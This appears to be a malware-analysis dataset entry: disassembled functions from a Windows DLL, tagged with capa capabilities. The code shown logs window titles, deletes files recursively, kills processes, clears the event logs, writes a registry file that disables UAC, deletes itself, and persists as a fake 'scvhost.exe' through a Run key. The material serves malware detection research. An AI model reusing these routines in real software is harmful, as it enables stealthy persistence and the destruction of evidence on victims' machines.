joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002b03
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push esi
mov ebx, 0x400
push edi
push ebx
mov esi, 0x1003246c
push 0
push esi
call fcn.10009f70
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push ebx
push esi
push eax
mov dword [0x10032c6c], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
and byte [ebp - 0x414], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x413]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
and dword [ebp - 4], 0
stosb byte es:[edi], al
mov edi, 0x1003286c
push edi
push esi
call fcn.1000a310
pop ecx
test eax, eax
pop ecx
je 0x10002bde
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x10002bd3
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 8]
push eax
movzx eax, word [ebp - 0xa]
push eax
movzx eax, word [ebp - 0xc]
push eax
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x12]
push eax
movzx eax, word [ebp - 0x14]
push eax
push esi
lea eax, [ebp - 0x414]
push str._r_n_r_n_r_n_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x414]
push eax
call fcn.10002a4f
push ebx
lea eax, [ebp - 0x414]
push 0
push eax
call fcn.10009f70
add esp, 0x34
mov dword [ebp - 4], 1
push ebx
push esi
push edi
call fcn.100096f0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10002e22
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov eax, 0x1001d4f8
call fcn.10009f44
sub esp, 0x170
mov al, byte [ebp + 0xb]
push ebx
push esi
xor ebx, ebx
push edi
push ebx
lea ecx, [ebp - 0x1c]
mov byte [ebp - 0x1c], al
call fcn.10003041
push dword [ebp + 8]
call fcn.1000a3d0
pop ecx
push eax
lea ecx, [ebp - 0x1c]
push dword [ebp + 8]
call fcn.1000307d
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], ebx
lea esi, [eax - 1]
cmp eax, esi
ja 0x10002e6d
call fcn.100147c9
lea ecx, [ebp - 0x1c]
call fcn.10003015
mov eax, dword [ebp - 0x18]
cmp byte [eax + esi], 0x5c
je 0x10002e8a
push 0x5c
push 1
lea ecx, [ebp - 0x1c]
call fcn.10002fbc
lea eax, [ebp - 0x1c]
push 0x10027d9c
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.100031f4
mov eax, dword [eax + 4]
add esp, 0xc
cmp eax, ebx
mov esi, 0x1001e4cc
jne 0x10002ead
mov eax, esi
lea ecx, [ebp - 0x17c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push 1
lea ecx, [ebp - 0x2c]
mov edi, eax
call fcn.10003041
cmp edi, 0xffffffff
je 0x10002f95
test byte [ebp - 0x17c], 0x10
je 0x10002f3c
lea eax, [ebp - 0x150]
push 0x100276e0
push eax
call fcn.1000e920
pop ecx
test eax, eax
pop ecx
je 0x10002f6d
lea eax, [ebp - 0x150]
push 0x10027d98
push eax
call fcn.1000e920
pop ecx
test eax, eax
pop ecx
je 0x10002f6d
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.100031f4
add esp, 0xc
mov eax, dword [eax + 4]
mov byte [ebp - 4], 1
cmp eax, ebx
jne 0x10002f2b
mov eax, esi
push eax
call fcn.10002e22
pop ecx
mov byte [ebp - 4], bl
push 1
lea ecx, [ebp - 0x2c]
jmp 0x10002f68
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.100031f4
mov eax, dword [eax + 4]
add esp, 0xc
cmp eax, ebx
jne 0x10002f5c
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 1
lea ecx, [ebp - 0x3c]
call fcn.10003041
lea eax, [ebp - 0x17c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10002ed0
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov bl, 1
or dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp - 0x1c]
call fcn.10003041
mov ecx, dword [ebp - 0xc]
pop edi
mov al, bl
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x10003437
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov eax, 0x1001d534
call fcn.10009f44
sub esp, 0x12c
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 2
mov dword [ebp - 4], ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [ebp - 0x138]
push eax
push edi
mov dword [ebp - 0x138], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x1000347d
or dword [ebp - 4], 0xffffffff
jmp 0x10003545
lea ecx, [ebp + 8]
call fcn.100189ce
lea eax, [ebp - 0x138]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
or esi, 0xffffffff
test eax, eax
je 0x10003539
lea eax, [ebp - 0x114]
lea ecx, [ebp - 0x10]
push eax
call fcn.1001876b
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.100189ce
push dword [ebp + 8]
push dword [ebp - 0x10]
call fcn.1000a895
pop ecx
test eax, eax
pop ecx
je 0x100034ec
push esi
lea ecx, [ebp - 0x10]
call fcn.10018986
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call fcn.10018741
lea eax, [ebp - 0x138]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
jmp 0x10003495
push dword [ebp - 0x130]
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
lea ecx, [ebp - 0x10]
call fcn.10018986
push esi
lea ecx, [ebp + 8]
call fcn.10018986
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call fcn.10018741
lea ecx, [ebp + 8]
mov dword [ebp - 4], esi
call fcn.10018741
push 1
pop eax
jmp 0x1000354f
push esi
lea ecx, [ebp + 8]
call fcn.10018986
mov dword [ebp - 4], esi
lea ecx, [ebp + 8]
call fcn.10018741
xor eax, eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x1000355e
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x110c
call fcn.10009fd0
push ebx
push esi
push edi
push 0x800
call fcn.1000a044
mov esi, 0x104
mov dword [ebp - 4], eax
push esi
push 0
push eax
call fcn.10009f70
and byte [ebp - 0x90c], 0
mov edx, 0x1ff
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x90b]
and byte [ebp - 0x110c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x110b]
add esp, 0x10
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ebx, str.CTXOPConntion_Class
push 0
push ebx
stosb byte es:[edi], al
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
mov dword [ebp - 8], eax
je 0x10003692
and byte [ebp - 0x10c], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x10b]
push esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_GetClassNameA]
lea eax, [ebp - 0x10c]
push ebx
push eax
call fcn.1000a310
pop ecx
test eax, eax
pop ecx
jne 0x10003682
cmp dword [ebp - 8], eax
je 0x10003627
lea eax, [ebp - 0x90c]
push esi
push eax
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x90c]
push eax
call fcn.1000a3d0
pop ecx
dec eax
cmp byte [ebp + eax - 0x90c], 0x5f
jne 0x10003634
lea eax, [ebp + eax - 0x90b]
push eax
lea eax, [ebp - 0x110c]
push eax
call fcn.1000a1d0
pop ecx
pop ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x10003671
push 0x10027da4
push dword [ebp - 4]
call fcn.1000a1e0
pop ecx
pop ecx
lea eax, [ebp - 0x110c]
push eax
push dword [ebp - 4]
call fcn.1000a1e0
pop ecx
pop ecx
push 2
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_GetWindow]
jmp 0x100035cb
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
pop edi
pop esi
test eax, eax
pop ebx
jne 0x100036b1
push 0x10027da0
push dword [ebp - 4]
call fcn.1000a1d0
pop ecx
pop ecx
mov eax, dword [ebp - 4]
leave
ret
Function at 0x1000376d
Capabilities:
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
push ebx
push esi
push edi
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ax, word [0x10032462]
xor ebx, ebx
cmp ax, bx
je 0x1000385c
push ebx
push 0x80
push 4
push ebx
push 2
push 0x40000000
push dword [ebp + 8]
movzx esi, ax
shl esi, 0xa
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
mov dword [ebp - 8], edi
je 0x1000385c
push 2
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, esi
shl ecx, 0xa
cmp ecx, eax
jbe 0x10003853
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x40b]
mov byte [ebp - 0x40c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
cmp esi, ebx
mov dword [ebp - 0xc], ebx
stosb byte es:[edi], al
mov dword [ebp - 4], ebx
jbe 0x10003853
mov edi, 0x400
test word [ebp - 4], 0x3ff
jne 0x10003835
mov dword [ebp + 8], ebx
call fcn.1000a944
add al, byte [ebp + 8]
mov ecx, 0xff
movsx eax, al
cdq
idiv ecx
mov eax, dword [ebp + 8]
inc dword [ebp + 8]
cmp dword [ebp + 8], edi
mov byte [ebp + eax - 0x40c], dl
jl 0x10003810
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x40c]
push edi
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
inc dword [ebp - 4]
cmp dword [ebp - 4], esi
jb 0x10003805
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10003b2f
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
movzx eax, byte [ebp + 8]
dec eax
mov dword [ebp - 0xc], str.Application
mov dword [ebp - 8], str.Security
mov dword [ebp - 4], str.System
je 0x10003b7c
dec eax
je 0x10003b71
dec eax
je 0x10003b64
dec eax
jne 0x10003bae
mov eax, 0x10032f78
mov dword [ebp - 8], eax
jmp 0x10003b6c
mov eax, 0x10032f78
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], eax
jmp 0x10003b7c
mov eax, 0x10032f78
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 3
lea edi, [ebp - 0xc]
pop ebx
push dword [edi]
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov esi, eax
test esi, esi
je 0x10003ba5
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
add edi, 4
dec ebx
jne 0x10003b85
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10003bb0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push esi
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea eax, [ebp + 8]
push ebx
push eax
push 0xf5
push str.Windows_Registry_Editor_Version_5.00____r_n____r_n_HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem_____r_n_EnableLUA_dword:00000000_r_n_r_n::
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10003bea
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
pop ebp
ret
Function at 0x10003de8
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov eax, 0x1001d570
call fcn.10009f44
sub esp, 0x12c
push ebx
push esi
xor ebx, ebx
push ebx
push 2
mov dword [ebp - 4], ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x10003ec5
lea eax, [ebp - 0x138]
mov dword [ebp - 0x138], 0x128
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10003ebe
lea eax, [ebp - 0x114]
lea ecx, [ebp - 0x10]
push eax
call fcn.1001876b
push dword [ebp + 8]
push dword [ebp - 0x10]
call fcn.1000a966
pop ecx
test eax, eax
pop ecx
je 0x10003e7e
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call fcn.10018741
lea eax, [ebp - 0x138]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10003ebe
lea eax, [ebp - 0x114]
lea ecx, [ebp - 0x10]
push eax
call fcn.1001876b
jmp 0x10003e40
push dword [ebp - 0x130]
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
je 0x10003ea2
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call fcn.10018741
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.10018741
push 1
pop eax
jmp 0x10003ed3
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.10018741
xor eax, eax
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x10003ee1
Capabilities:
Create process on windows
Create process suspended
Get comspec environment variable
Query environment variable
Resume thread
Self delete
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x364
push ebx
push esi
push edi
push str.c:del
call fcn.10002a0b
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp], 0x1f4
call edi
mov ebx, str.C:ProgramDataMicrosoftEdgeUpdateLogdel.bat
push ebx
call fcn.100029c4
pop ecx
xor esi, esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x1f4
call edi
push ecx
mov edi, str.microsoft.exe
mov ecx, esp
mov dword [ebp - 4], esp
push edi
call fcn.1001876b
call fcn.10003de8
mov ecx, esp
mov dword [ebp - 4], esp
push edi
call fcn.1001876b
call fcn.10003de8
pop ecx
mov edi, 0x104
lea eax, [ebp - 0x15c]
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x10003f92
lea eax, [ebp - 0x15c]
push edi
push eax
lea eax, [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x10003f92
lea eax, [ebp - 0x364]
push edi
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x10003f99
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
lea eax, [ebp - 0x15c]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x260]
push str.__c_ping__n_2_127.0.0.1___nul__del
push eax
call fcn.1000a1d0
lea eax, [ebp - 0x15c]
push eax
lea eax, [ebp - 0x260]
push eax
call fcn.1000a1e0
lea eax, [ebp - 0x260]
push str.___nul
push eax
call fcn.1000a1e0
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x364]
push eax
call fcn.1000a1e0
add esp, 0x20
xor eax, eax
lea edi, [ebp - 0x54]
mov dword [ebp - 0x14], esi
push 0x10
pop ecx
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x10]
push 0x100
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x58], 0x44
mov dword [ebp - 0x2c], 1
mov word [ebp - 0x28], si
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call edi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov ebx, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push eax
call ebx
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push esi
push esi
push 4
push esi
push esi
lea eax, [ebp - 0x364]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10004080
push 0x40
push dword [ebp - 0x14]
call edi
push 0xfffffffffffffff1
push dword [ebp - 0x10]
call ebx
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 1
pop eax
jmp 0x10003f94
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x1000409c
Capabilities:
Create process on windows
Terminate process

Disassembly:
call fcn.10003ee1
push 0
push str.cmd__c_echo._c:del__exit
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x100042aa
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d8
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x170
lea eax, [ebp - 0x2d8]
push esi
push eax
call fcn.100096f0
add esp, 0xc
xor ebx, ebx
xor eax, eax
lea edi, [ebp - 0x167]
push 0x59
mov byte [ebp - 0x168], bl
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 2
push ebx
stosb byte es:[edi], al
push 1
lea eax, [ebp - 0x1cc]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10004326
lea eax, [ebp + 8]
push ebx
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffe90
add esi, 0x170
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1000432d
xor eax, eax
jmp 0x100043b3
push edi
call dword [0x100333c4]
lea eax, [ebp - 0x2d0]
push eax
call fcn.1000a3d0
test eax, eax
pop ecx
je 0x1000436a
lea eax, [ebp - 0x2d0]
push eax
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x168]
push str._s__s
push eax
call dword [0x10033414]
add esp, 0x10
jmp 0x1000437e
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x2d4]
sub eax, ebx
je 0x100043a0
dec eax
je 0x1000439d
dec eax
dec eax
jne 0x100043b0
lea eax, [ebp - 0x168]
push eax
call fcn.1000409c
jmp 0x100043af
push ebx
jmp 0x100043a2
push 5
lea eax, [ebp - 0x168]
push eax
call fcn.100040b6
pop ecx
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10004662
Capabilities:
Copy file
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
and byte [ebp - 0x164], 0
push ebx
push esi
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x163]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ebx, 0x104
lea eax, [ebp - 0x164]
push ebx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xa
mov esi, str.C:Program_FilesCommon_Files_scvhost.exe
pop ecx
lea edi, [ebp - 0x60]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0xc
xor eax, eax
pop ecx
lea edi, [ebp - 0x36]
rep stosd dword es:[edi], eax
xor esi, esi
lea eax, [ebp - 0x60]
push esi
push eax
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 4]
push eax
push 0xf003f
push esi
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10004705
lea eax, [ebp - 0x164]
push ebx
push eax
push 1
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor al, al
pop ebx
leave
ret
Function at 0x10004d5d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push esi
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea eax, [ebp + 8]
push ebx
push eax
push 0x1f53
push 0x100255c4
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10004d97
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
pop ebp
ret

Function at 0x10004e77
Capabilities:
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push edi
mov dword [ebp - 0xc], ecx
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x10f]
mov byte [ebp - 0x110], bl
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x110]
push 0x1c
push eax
push ebx
mov dword [ebp - 8], ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x110]
push str._._mnbvcxz_lkjhgfdsa__poiuytrewq
push eax
call fcn.1000a1e0
lea eax, [ebp - 0x110]
push 0x1002cc7a
push eax
call fcn.1000a1e0
lea eax, [ebp - 0x110]
push str..dat
push eax
call fcn.1000a1e0
add esp, 0x18
lea eax, [ebp - 0x110]
push ebx
push 0x80
push 3
push ebx
push 1
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x10004f44
push esi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call fcn.1000a044
pop ecx
mov esi, eax
lea eax, [ebp - 8]
push ebx
push eax
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 0xc]
push edi
push esi
call fcn.10004e2d
push esi
mov ebx, eax
call fcn.100096db
pop ecx
pop esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop ebx
leave
ret
Function at 0x10005095
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
lea eax, [ebp - 0x34]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
and byte [ebp - 0x138], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x137]
and byte [ebp - 0xd], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
movzx eax, word [ebp - 0x2a]
push eax
mov byte [ebp - 0x24], 0x25
movzx eax, word [ebp - 0x2c]
push eax
mov byte [ebp - 0x23], 0x34
movzx eax, word [ebp - 0x2e]
push eax
mov byte [ebp - 0x22], 0x64
movzx eax, word [ebp - 0x32]
push eax
mov byte [ebp - 0x21], 0x2d
movzx eax, word [ebp - 0x34]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x138]
push eax
mov byte [ebp - 0x20], 0x25
mov byte [ebp - 0x1f], 0x2e
mov byte [ebp - 0x1e], 0x32
mov byte [ebp - 0x1d], 0x64
mov byte [ebp - 0x1c], 0x2d
mov byte [ebp - 0x1b], 0x25
mov byte [ebp - 0x1a], 0x2e
mov byte [ebp - 0x19], 0x32
mov byte [ebp - 0x18], 0x64
mov byte [ebp - 0x17], 0x20
mov byte [ebp - 0x16], 0x25
mov byte [ebp - 0x15], 0x2e
mov byte [ebp - 0x14], 0x32
mov byte [ebp - 0x13], 0x64
mov byte [ebp - 0x12], 0x3a
mov byte [ebp - 0x11], 0x25
mov byte [ebp - 0x10], 0x2e
mov byte [ebp - 0xf], 0x32
mov byte [ebp - 0xe], 0x64
call dword [sym.imp.USER32.dll_wsprintfA]
and byte [ebp - 4], 0
add esp, 0x1c
lea eax, [ebp - 0x138]
mov byte [ebp - 0xc], 0x4d
push 0
push eax
mov byte [ebp - 0xb], 0x61
mov byte [ebp - 0xa], 0x72
mov byte [ebp - 9], 0x6b
mov byte [ebp - 8], 0x54
mov byte [ebp - 7], 0x69
mov byte [ebp - 6], 0x6d
mov byte [ebp - 5], 0x65
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0xc]
push 1
push eax
push str.Console
push closesocket
call fcn.10009521
add esp, 0x1c
pop edi
leave
ret

Function at 0x1000580c
Capabilities:
Check mutex on windows

Disassembly:
push esi
push edi
xor esi, esi
push str.LJPXYXC
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x10005837
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1000587d
push esi
push esi
push esi
push esi
push 0x10005591
push esi
push esi
call fcn.10008e18
add esp, 0x1c
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push esi
push esi
push esi
push 0x100051fb
push esi
push esi
call fcn.10008e18
add esp, 0x1c
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [0x100333d4]
push esi
call dword [0x100333c4]
push 1
pop eax
pop edi
pop esi
ret